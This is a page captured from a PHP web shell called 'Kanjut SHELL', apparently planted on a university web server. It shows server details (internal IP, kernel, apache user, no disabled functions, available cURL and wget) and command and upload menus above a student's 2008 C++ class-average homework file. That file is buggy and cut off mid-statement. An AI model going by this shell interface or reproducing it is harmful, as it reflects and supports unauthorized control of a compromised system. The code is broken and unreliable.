Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.117.166.193
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/acyurksaitis/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/acyurksaitis/homework3.cpp
// CS212 HW #3:  homework3.cpp
//
// Due:          February 20, 2008
//
// Author:       Amy Yurksaitis
//       
// Instructor:   Dr. Wang
//
// Goal:         To write a program that uses calsses to allow the user to input student
//               data such as; name, age, and test scores. Then then program
//               will output to the screen that information plus the
//               students average, the class average,
//               and the average age of the class.
//
// Compile:      g++ homework3.cpp -o homework3.out
/////////////////////////////////////////////////////////////////////////////
        
#include <iostream>

using namespace std;

const int MAX = 100;

class Student
{
private:
	string name;
	int scores[3];
	int stuage;
	int avgstuage;		
	
public:
	Student()	
	{	name = "xxx xxx"; stuage=0; scores[0]=0; scores[1]=0; scores[2]=0;  }
	Student(string n, int sa, int s1, int s2, int s3)
        {       name=n; stuage=sa; scores[0]=s1; scores[1]=s2; scores[2]=s3;  }
	void Set(string n, int sa, int s1, int s2, int s3)	
	{	name=n; stuage=sa; scores[0]=s1; scores[1]=s2; scores[2]=s3;  }
	float avg() const
	{	float t;
		t = (scores[0]+scores[1]+scores[2])/4.0;
		return t;
	}
	char Grade() const
	{	if( avg() >= 60 )
			return 'P';
		else
			return 'F';
	}
	float classavg() const
	{	float b;
		b = sco
	void Print() const
	{	cout << "Name: " << name <<", Age: "<< stuage << ", 3 scores: " 
			<< scores[0] << ", " << scores[1] << ", "
			<< scores[2] << ", Avg student age : " << avgstuage <<endl;
		cout << "Avg: " << avg(); cout << ", Grade: " << Grade() <<endl;
		cout << "Class grade avg: " << classgrade;  
	}
};

void readData( int [], int& );
float average( const int[] , int );

int main()
{
	Student me;	
	string n; 
	int sa, s1, s2, s3;
	int num[MAX];
        int size = 0;
        float classavg;  
	

	cout << "Insert student name: " ;	

	getline(cin, n);
	cout << "Student age: ";
	cin >> sa ;
	cout << "Test score 1: "; 	
	cin >> s1 ;
	cout << "Test score 2: ";
	cin >> s2 ;
	cout << "Final score: " ;
	cin >> s3;
		
	while(cin)
        {
                cout << "Insert student name: " ;
       		getline(cin, n);
        	cout << "Student age: ";
        	cin >> sa ;
        	cout << "Test score 1: ";
        	cin >> s1 ;
        	cout << "Test score 2: ";
        	cin >> s2 ;
        	cout << "Final score: " ;
        	cin >> s3;
        }

	readData( num, size );
        classavg = average ( num, size);
        for (int i = 0; i < size; i++ )
                cout << num[i] << endl;
        //cout << "The average of the class is: " << classavg << endl;

	me.Set(n,sa, s1, s2, s3);
	cout << endl;
	me.Print();
	cout << "\n\nDone.\n\n\n";
	return 0;
}
void readData ( int num[MAX], int& size )  
{
        cin >> num[size];
        while( cin )
        {
                size ++;          
                cin >> num[size];
        }
        return;
}
float average (const int num[MAX] , int size )
{
        float  mean;
        float sum = 0;
        for (int i = 0; i < size; i++ )
                sum += num[i];
        mean = sum / size;
        return mean;
}


Stv3n404 - 2023